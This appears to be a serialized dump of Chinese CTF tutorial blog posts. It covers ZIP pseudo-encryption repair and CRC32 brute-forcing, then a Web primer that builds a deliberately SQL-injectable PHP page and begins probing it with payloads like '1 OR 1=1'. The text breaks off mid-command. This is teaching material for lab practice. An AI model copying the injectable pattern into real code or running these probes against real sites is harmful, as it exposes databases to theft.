ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11935,11936,11938],{},[316,11937,385],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[309,11940,11942],{"id":11941},"_41-zip-结构","4.1 ZIP 结构",[15,11944,11945],{},"本地文件头：",[97,11947,11950],{"className":11948,"code":11949,"language":215,"meta":102},[213],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[52,11951,11949],{"__ignoreMap":102},[15,11953,11954,11955,11958],{},"中央目录头（签名 ",[52,11956,11957],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[309,11960,11962],{"id":11961},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,11964,11965,11967],{},[316,11966,318],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[97,11969,11971],{"className":99,"code":11970,"language":101,"meta":102,"style":102},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[52,11972,11973,11978,11982,11987,11992,11996,12001],{"__ignoreMap":102},[106,11974,11975],{"class":108,"line":109},[106,11976,11977],{},"import zipfile\n",[106,11979,11980],{"class":108,"line":115},[106,11981,125],{"emptyLinePlaceholder":124},[106,11983,11984],{"class":108,"line":121},[106,11985,11986],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[106,11988,11989],{"class":108,"line":128},[106,11990,11991],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[106,11993,11994],{"class":108,"line":134},[106,11995,125],{"emptyLinePlaceholder":124},[106,11997,11998],{"class":108,"line":140},[106,11999,12000],{},"data = open('flag.zip', 'rb').read()\n",[106,12002,12003],{"class":108,"line":146},[106,12004,12005],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12007,209],{},[97,12009,12012],{"className":12010,"code":12011,"language":215,"meta":102},[213],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[52,12013,12011],{"__ignoreMap":102},[15,12015,12016],{},"解释：",[97,12018,12021],{"className":12019,"code":12020,"language":215,"meta":102},[213],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[52,12022,12020],{"__ignoreMap":102},[309,12024,12026],{"id":12025},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12028,12029,12031],{},[316,12030,385],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[97,12033,12035],{"className":99,"code":12034,"language":101,"meta":102,"style":102},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[52,12036,12037,12042,12046,12051,12056,12061,12065,12070,12075,12080,12084],{"__ignoreMap":102},[106,12038,12039],{"class":108,"line":109},[106,12040,12041],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[106,12043,12044],{"class":108,"line":115},[106,12045,125],{"emptyLinePlaceholder":124},[106,12047,12048],{"class":108,"line":121},[106,12049,12050],{},"# 本地文件头：偏移 6 处标志位置位\n",[106,12052,12053],{"class":108,"line":128},[106,12054,12055],{},"idx = data.find(b'PK\\x03\\x04')\n",[106,12057,12058],{"class":108,"line":134},[106,12059,12060],{},"data[idx + 6] |= 1\n",[106,12062,12063],{"class":108,"line":140},[106,12064,125],{"emptyLinePlaceholder":124},[106,12066,12067],{"class":108,"line":146},[106,12068,12069],{},"# 中央目录头：偏移 8 处标志位置位\n",[106,12071,12072],{"class":108,"line":151},[106,12073,12074],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[106,12076,12077],{"class":108,"line":157},[106,12078,12079],{},"data[idx2 + 8] |= 1\n",[106,12081,12082],{"class":108,"line":163},[106,12083,125],{"emptyLinePlaceholder":124},[106,12085,12086],{"class":108,"line":169},[106,12087,12088],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12090,12091],{},"修改后的 hexdump：",[97,12093,12096],{"className":12094,"code":12095,"language":215,"meta":102},[213],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[52,12097,12095],{"__ignoreMap":102},[15,12099,12100],{},"尝试读取：",[97,12102,12104],{"className":99,"code":12103,"language":101,"meta":102,"style":102},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[52,12105,12106,12110,12114,12119,12124,12129,12134],{"__ignoreMap":102},[106,12107,12108],{"class":108,"line":109},[106,12109,11977],{},[106,12111,12112],{"class":108,"line":115},[106,12113,125],{"emptyLinePlaceholder":124},[106,12115,12116],{"class":108,"line":121},[106,12117,12118],{},"try:\n",[106,12120,12121],{"class":108,"line":128},[106,12122,12123],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[106,12125,12126],{"class":108,"line":134},[106,12127,12128],{},"        print(z.read('flag.txt'))\n",[106,12130,12131],{"class":108,"line":140},[106,12132,12133],{},"except Exception as e:\n",[106,12135,12136],{"class":108,"line":146},[106,12137,12138],{},"    print(type(e).__name__, e)\n",[15,12140,209],{},[97,12142,12145],{"className":12143,"code":12144,"language":215,"meta":102},[213],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[52,12146,12144],{"__ignoreMap":102},[15,12148,12149],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[309,12151,12153],{"id":12152},"_44-修复","4.4 修复",[15,12155,12156,12158,12159,12162],{},[316,12157,385],{},"：把两处标志位最低位清零（",[52,12160,12161],{},"& 0xfe","），恢复成未加密状态。",[97,12164,12166],{"className":99,"code":12165,"language":101,"meta":102,"style":102},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[52,12167,12168,12173,12177,12181,12186,12190,12195,12199,12204,12208,12213],{"__ignoreMap":102},[106,12169,12170],{"class":108,"line":109},[106,12171,12172],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[106,12174,12175],{"class":108,"line":115},[106,12176,125],{"emptyLinePlaceholder":124},[106,12178,12179],{"class":108,"line":121},[106,12180,12055],{},[106,12182,12183],{"class":108,"line":128},[106,12184,12185],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[106,12187,12188],{"class":108,"line":134},[106,12189,12074],{},[106,12191,12192],{"class":108,"line":140},[106,12193,12194],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[106,12196,12197],{"class":108,"line":146},[106,12198,125],{"emptyLinePlaceholder":124},[106,12200,12201],{"class":108,"line":151},[106,12202,12203],{},"open('flag_fixed.zip', 'wb').write(data)\n",[106,12205,12206],{"class":108,"line":157},[106,12207,125],{"emptyLinePlaceholder":124},[106,12209,12210],{"class":108,"line":163},[106,12211,12212],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[106,12214,12215],{"class":108,"line":169},[106,12216,12217],{},"    print(z.read('flag.txt'))\n",[15,12219,209],{},[97,12221,12224],{"className":12222,"code":12223,"language":215,"meta":102},[213],"b'ctf{zip}'\n",[52,12225,12223],{"__ignoreMap":102},[15,12227,12228,12229,12232],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[52,12230,12231],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12234,12236],{"id":12235},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12238,12239,12241],{},[316,12240,318],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12243,12244,12246],{},[316,12245,385],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12248,12249],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[97,12251,12253],{"className":99,"code":12252,"language":101,"meta":102,"style":102},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[52,12254,12255,12260,12265,12269,12274,12279,12284,12289,12293,12298,12303,12308,12313,12318,12323,12328,12333,12338,12343],{"__ignoreMap":102},[106,12256,12257],{"class":108,"line":109},[106,12258,12259],{},"import zipfile, zlib, itertools\n",[106,12261,12262],{"class":108,"line":115},[106,12263,12264],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[106,12266,12267],{"class":108,"line":121},[106,12268,125],{"emptyLinePlaceholder":124},[106,12270,12271],{"class":108,"line":128},[106,12272,12273],{},"z = zipfile.ZipFile('flag.zip')\n",[106,12275,12276],{"class":108,"line":134},[106,12277,12278],{},"target = z.getinfo('flag.txt').CRC\n",[106,12280,12281],{"class":108,"line":140},[106,12282,12283],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[106,12285,12286],{"class":108,"line":146},[106,12287,12288],{},"print(\"目标 CRC:\", target)\n",[106,12290,12291],{"class":108,"line":151},[106,12292,125],{"emptyLinePlaceholder":124},[106,12294,12295],{"class":108,"line":157},[106,12296,12297],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[106,12299,12300],{"class":108,"line":163},[106,12301,12302],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[106,12304,12305],{"class":108,"line":169},[106,12306,12307],{},"for length in range(1, 5):\n",[106,12309,12310],{"class":108,"line":174},[106,12311,12312],{},"    for tup in itertools.product(charset, repeat=length):\n",[106,12314,12315],{"class":108,"line":180},[106,12316,12317],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[106,12319,12320],{"class":108,"line":186},[106,12321,12322],{},"        s = ''.join(tup).encode()\n",[106,12324,12325],{"class":108,"line":192},[106,12326,12327],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[106,12329,12330],{"class":108,"line":197},[106,12331,12332],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[106,12334,12335],{"class":108,"line":203},[106,12336,12337],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[106,12339,12340],{"class":108,"line":770},[106,12341,12342],{},"            print(\"爆破结果:\", s)\n",[106,12344,12345],{"class":108,"line":775},[106,12346,12347],{},"            exit()\n",[15,12349,12350,12351,12354],{},"实际输出（目标内容 ",[52,12352,12353],{},"ctf1","）：",[97,12356,12359],{"className":12357,"code":12358,"language":215,"meta":102},[213],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[52,12360,12358],{"__ignoreMap":102},[15,12362,12363,12364,12367,12368,12371],{},"注意 ",[52,12365,12366],{},"zlib.crc32"," 返回有符号整数，需要 ",[52,12369,12370],{},"& 0xffffffff"," 归一化。",[10,12373,830],{"id":829},[19,12375,12376,12386],{},[22,12377,12378],{},[25,12379,12380,12382,12384],{},[28,12381,2075],{},[28,12383,2078],{},[28,12385,4842],{},[38,12387,12388,12400,12414,12427],{},[25,12389,12390,12392,12395],{},[43,12391,1213],{},[43,12393,12394],{},"看类型",[43,12396,12397],{},[52,12398,12399],{},"file flag.png",[25,12401,12402,12404,12407],{},[43,12403,4249],{},[43,12405,12406],{},"看文件头与结构",[43,12408,12409,1311,12411],{},[52,12410,4869],{},[52,12412,12413],{},"xxd flag.zip | head",[25,12415,12416,12418,12421],{},[43,12417,4341],{},[43,12419,12420],{},"扫描/提取隐藏文件",[43,12422,12423,1311,12425],{},[52,12424,4897],{},[52,12426,4900],{},[25,12428,12429,12431,12434],{},[43,12430,4816],{},[43,12432,12433],{},"LSB 自动检测",[43,12435,12436],{},[52,12437,12438],{},"zsteg -a flag.png",[10,12440,12442],{"id":12441},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12444,12445,12447],{},[316,12446,318],{},"：把前三节串成一道完整题目。",[15,12449,12450,12452],{},[316,12451,385],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12454,2164,12455,643],{},[52,12456,4909],{},[15,12458,4912],{},[97,12460,12462],{"className":259,"code":12461,"language":261,"meta":102,"style":102},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[52,12463,12464,12473,12490],{"__ignoreMap":102},[106,12465,12466,12468,12470],{"class":108,"line":109},[106,12467,1213],{"class":268},[106,12469,4220],{"class":272},[106,12471,12472],{"class":2583},"          # PNG image data\n",[106,12474,12475,12477,12479,12481,12483,12485,12487],{"class":108,"line":115},[106,12476,1257],{"class":268},[106,12478,4220],{"class":272},[106,12480,1446],{"class":1116},[106,12482,1449],{"class":268},[106,12484,4318],{"class":515},[106,12486,5976],{"class":272},[106,12488,12489],{"class":2583},"    # 无输出\n",[106,12491,12492,12494,12496],{"class":108,"line":121},[106,12493,4341],{"class":268},[106,12495,4220],{"class":272},[106,12497,12498],{"class":2583},"                   # 无隐藏文件\n",[15,12500,12501],{},"第二步：怀疑 LSB，运行提取脚本：",[97,12503,12505],{"className":12504,"code":4790,"language":215,"meta":102},[213],[52,12506,4790],{"__ignoreMap":102},[15,12508,12509,12510,12512],{},"变体：若提取出的字节不是文本而是 ",[52,12511,4127],{}," 开头，把它保存为 zip，再检查是否伪加密：",[97,12514,12516],{"className":99,"code":12515,"language":101,"meta":102,"style":102},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[52,12517,12518,12523],{"__ignoreMap":102},[106,12519,12520],{"class":108,"line":109},[106,12521,12522],{},"with open('extracted.zip', 'wb') as f:\n",[106,12524,12525],{"class":108,"line":115},[106,12526,12527],{},"    f.write(data)\n",[15,12529,12530],{},"然后按第四节流程检查并修复标志位。",[10,12532,1045],{"id":1044},[15,12534,12535,12536,12538,12539,2153,12541,12543],{},"取证主线：",[52,12537,1213],{}," 确认类型 → ",[52,12540,1257],{},[52,12542,4341],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1050,12545,12546],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":102,"searchDepth":115,"depth":115,"links":12548},[12549,12550,12551,12552,12553,12554,12555,12556],{"id":11551,"depth":121,"text":11552},{"id":255,"depth":121,"text":256},{"id":11597,"depth":121,"text":11598},{"id":11927,"depth":121,"text":11928},{"id":12235,"depth":121,"text":12236},{"id":829,"depth":121,"text":830},{"id":12441,"depth":121,"text":12442},{"id":1044,"depth":121,"text":1045},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1066,"image":3261,"alt":12559,"tags":12560,"published":124},"隐写与取证深入实战",[1070,5008,12561,1072],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11546,"description":12557},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12567,"title":12568,"body":12569,"description":14416,"extension":1064,"meta":14417,"navigation":124,"ogImage":14418,"path":14421,"seo":14422,"stem":14423,"__hash__":14424},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12570,"toc":14404},[12571,12575,12578,12597,12603,12609,12611,12669,12679,12683,12686,12774,12777,12781,12785,12788,12791,12819,12824,12936,12939,12952,12956,12958,12972,12974,12979,12983,12991,13004,13009,13012,13042,13045,13050,13053,13056,13081,13086,13089,13114,13117,13125,13129,13134,13142,13145,13170,13173,13203,13208,13211,13236,13240,13243,13278,13282,13285,13315,13319,13322,13345,13349,13362,13372,13376,13381,13398,13402,13408,13417,13421,13437,13442,13446,13462,13464,13510,13519,13523,13526,13573,13580,13584,13587,13658,13665,13669,13674,13698,13702,13708,13741,13745,13776,13778,13784,13788,13819,13822,13826,13857,13860,13864,13889,13893,13896,13899,13913,13917,13922,13954,13963,13969,14000,14003,14007,14010,14064,14067,14071,14074,14077,14095,14097,14102,14105,14123,14128,14131,14157,14164,14168,14175,14195,14199,14204,14234,14239,14243,14252,14272,14274,14302,14305,14314,14323,14337,14341,14346,14389,14396,14398,14401],[10,12572,12574],{"id":12573},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12576,12577],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[97,12579,12581],{"className":259,"code":12580,"language":261,"meta":102,"style":102},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[52,12582,12583],{"__ignoreMap":102},[106,12584,12585,12587,12590,12592,12595],{"class":108,"line":109},[106,12586,5260],{"class":268},[106,12588,12589],{"class":515}," -v",[106,12591,5263],{"class":1458},[106,12593,12594],{"class":272},"http://127.0.0.1:8000/index.php?id=1",[106,12596,5269],{"class":1458},[15,12598,12599,12602],{},[52,12600,12601],{},"-v"," 会显示完整过程，输出示例：",[97,12604,12607],{"className":12605,"code":12606,"language":215,"meta":102},[213],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[52,12608,12606],{"__ignoreMap":102},[15,12610,12016],{},[19,12612,12613,12622],{},[22,12614,12615],{},[25,12616,12617,12620],{},[28,12618,12619],{},"部分",[28,12621,1540],{},[38,12623,12624,12641,12651,12661],{},[25,12625,12626,12631],{},[43,12627,12628],{},[52,12629,12630],{},"GET /index.php?id=1",[43,12632,12633,12634,12637,12638],{},"方法 GET，路径 ",[52,12635,12636],{},"/index.php","，参数 ",[52,12639,12640],{},"id=1",[25,12642,12643,12648],{},[43,12644,12645],{},[52,12646,12647],{},"Host",[43,12649,12650],{},"目标主机",[25,12652,12653,12658],{},[43,12654,12655],{},[52,12656,12657],{},"HTTP/1.1 200 OK",[43,12659,12660],{},"协议版本与状态码，200 表示成功",[25,12662,12663,12666],{},[43,12664,12665],{},"正文",[43,12667,12668],{},"服务器返回的 HTML",[15,12670,12671,12672,12678],{},"Web 漏洞几乎都源于一件事：",[316,12673,12674,12675,12677],{},"参数 ",[52,12676,5235],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12680,12682],{"id":12681},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12684,12685],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[97,12687,12689],{"className":259,"code":12688,"language":261,"meta":102,"style":102},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[52,12690,12691,12696,12711,12719,12725,12737,12741,12746,12757],{"__ignoreMap":102},[106,12692,12693],{"class":108,"line":109},[106,12694,12695],{"class":2583},"# 方式一：源码部署（需要 PHP + MySQL）\n",[106,12697,12698,12700,12702,12705,12708],{"class":108,"line":115},[106,12699,1158],{"class":268},[106,12701,273],{"class":272},[106,12703,12704],{"class":272}," php",[106,12706,12707],{"class":272}," php-mysql",[106,12709,12710],{"class":272}," mariadb-server\n",[106,12712,12713,12715,12717],{"class":108,"line":121},[106,12714,5087],{"class":268},[106,12716,5090],{"class":272},[106,12718,5093],{"class":272},[106,12720,12721,12723],{"class":108,"line":128},[106,12722,1804],{"class":1803},[106,12724,5100],{"class":272},[106,12726,12727,12729,12731,12734],{"class":108,"line":134},[106,12728,5029],{"class":268},[106,12730,5107],{"class":515},[106,12732,12733],{"class":272}," 127.0.0.1:8000",[106,12735,12736],{"class":2583},"        # 启动后浏览器访问，点 Setup/reset Database\n",[106,12738,12739],{"class":108,"line":140},[106,12740,125],{"emptyLinePlaceholder":124},[106,12742,12743],{"class":108,"line":146},[106,12744,12745],{"class":2583},"# 方式二：Docker 部署（最简单）\n",[106,12747,12748,12751,12754],{"class":108,"line":151},[106,12749,12750],{"class":268},"docker",[106,12752,12753],{"class":272}," pull",[106,12755,12756],{"class":272}," tavenli/sqli-labs\n",[106,12758,12759,12761,12764,12766,12769,12772],{"class":108,"line":157},[106,12760,12750],{"class":268},[106,12762,12763],{"class":272}," run",[106,12765,1414],{"class":515},[106,12767,12768],{"class":515}," -p",[106,12770,12771],{"class":272}," 8000:80",[106,12773,12756],{"class":272},[15,12775,12776],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12778,12780],{"id":12779},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[309,12782,12784],{"id":12783},"_31-平台与代码","3.1 平台与代码",[15,12786,12787],{},"平台：Linux + PHP + MySQL。",[15,12789,12790],{},"第一步，建数据库。在 MySQL 里执行：",[97,12792,12793],{"className":5054,"code":5126,"language":5056,"meta":102,"style":102},[52,12794,12795,12799,12803,12807,12811,12815],{"__ignoreMap":102},[106,12796,12797],{"class":108,"line":109},[106,12798,5133],{},[106,12800,12801],{"class":108,"line":115},[106,12802,5138],{},[106,12804,12805],{"class":108,"line":121},[106,12806,5143],{},[106,12808,12809],{"class":108,"line":128},[106,12810,5148],{},[106,12812,12813],{"class":108,"line":134},[106,12814,5153],{},[106,12816,12817],{"class":108,"line":140},[106,12818,5158],{},[15,12820,12821,12822,493],{},"第二步，写漏洞页面 ",[52,12823,5163],{},[97,12825,12827],{"className":5027,"code":12826,"language":5029,"meta":102,"style":102},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[52,12828,12829,12833,12837,12842,12847,12851,12855,12860,12865,12869,12873,12878,12883,12888,12892,12896,12901,12905,12909,12914,12919,12923,12928,12932],{"__ignoreMap":102},[106,12830,12831],{"class":108,"line":109},[106,12832,5173],{},[106,12834,12835],{"class":108,"line":115},[106,12836,5178],{},[106,12838,12839],{"class":108,"line":121},[106,12840,12841],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[106,12843,12844],{"class":108,"line":128},[106,12845,12846],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[106,12848,12849],{"class":108,"line":134},[106,12850,125],{"emptyLinePlaceholder":124},[106,12852,12853],{"class":108,"line":140},[106,12854,5036],{},[106,12856,12857],{"class":108,"line":146},[106,12858,12859],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[106,12861,12862],{"class":108,"line":151},[106,12863,12864],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[106,12866,12867],{"class":108,"line":157},[106,12868,125],{"emptyLinePlaceholder":124},[106,12870,12871],{"class":108,"line":163},[106,12872,5187],{},[106,12874,12875],{"class":108,"line":169},[106,12876,12877],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[106,12879,12880],{"class":108,"line":174},[106,12881,12882],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[106,12884,12885],{"class":108,"line":180},[106,12886,12887],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[106,12889,12890],{"class":108,"line":186},[106,12891,125],{"emptyLinePlaceholder":124},[106,12893,12894],{"class":108,"line":192},[106,12895,5192],{},[106,12897,12898],{"class":108,"line":197},[106,12899,12900],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[106,12902,12903],{"class":108,"line":203},[106,12904,125],{"emptyLinePlaceholder":124},[106,12906,12907],{"class":108,"line":770},[106,12908,5197],{},[106,12910,12911],{"class":108,"line":775},[106,12912,12913],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[106,12915,12916],{"class":108,"line":781},[106,12917,12918],{},"    // 取不到更多行时返回 null，while 结束。\n",[106,12920,12921],{"class":108,"line":787},[106,12922,5202],{},[106,12924,12925],{"class":108,"line":793},[106,12926,12927],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[106,12929,12930],{"class":108,"line":799},[106,12931,2489],{},[106,12933,12934],{"class":108,"line":805},[106,12935,5211],{},[15,12937,12938],{},"第三步，启动：",[97,12940,12942],{"className":259,"code":12941,"language":261,"meta":102,"style":102},"php -S 127.0.0.1:8000\n",[52,12943,12944],{"__ignoreMap":102},[106,12945,12946,12948,12950],{"class":108,"line":109},[106,12947,5029],{"class":268},[106,12949,5107],{"class":515},[106,12951,5110],{"class":272},[309,12953,12955],{"id":12954},"_32-正常请求","3.2 正常请求",[15,12957,1203],{},[97,12959,12960],{"className":259,"code":5253,"language":261,"meta":102,"style":102},[52,12961,12962],{"__ignoreMap":102},[106,12963,12964,12966,12968,12970],{"class":108,"line":109},[106,12965,5260],{"class":268},[106,12967,5263],{"class":1458},[106,12969,5266],{"class":272},[106,12971,5269],{"class":1458},[15,12973,1219],{},[97,12975,12977],{"className":12976,"code":5275,"language":215,"meta":102},[213],[52,12978,5275],{"__ignoreMap":102},[309,12980,12982],{"id":12981},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,12984,12985,12987,12988,12990],{},[316,12986,318],{},"：确认 ",[52,12989,5235],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,12992,12993,12995,12996,12999,13000,13003],{},[316,12994,385],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[52,12997,12998],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[52,13001,13002],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13005,13006,13008],{},[316,13007,1681],{},"：逐条发送以下三个请求，对比输出。",[15,13010,13011],{},"输入 1：",[97,13013,13015],{"className":259,"code":13014,"language":261,"meta":102,"style":102},"curl 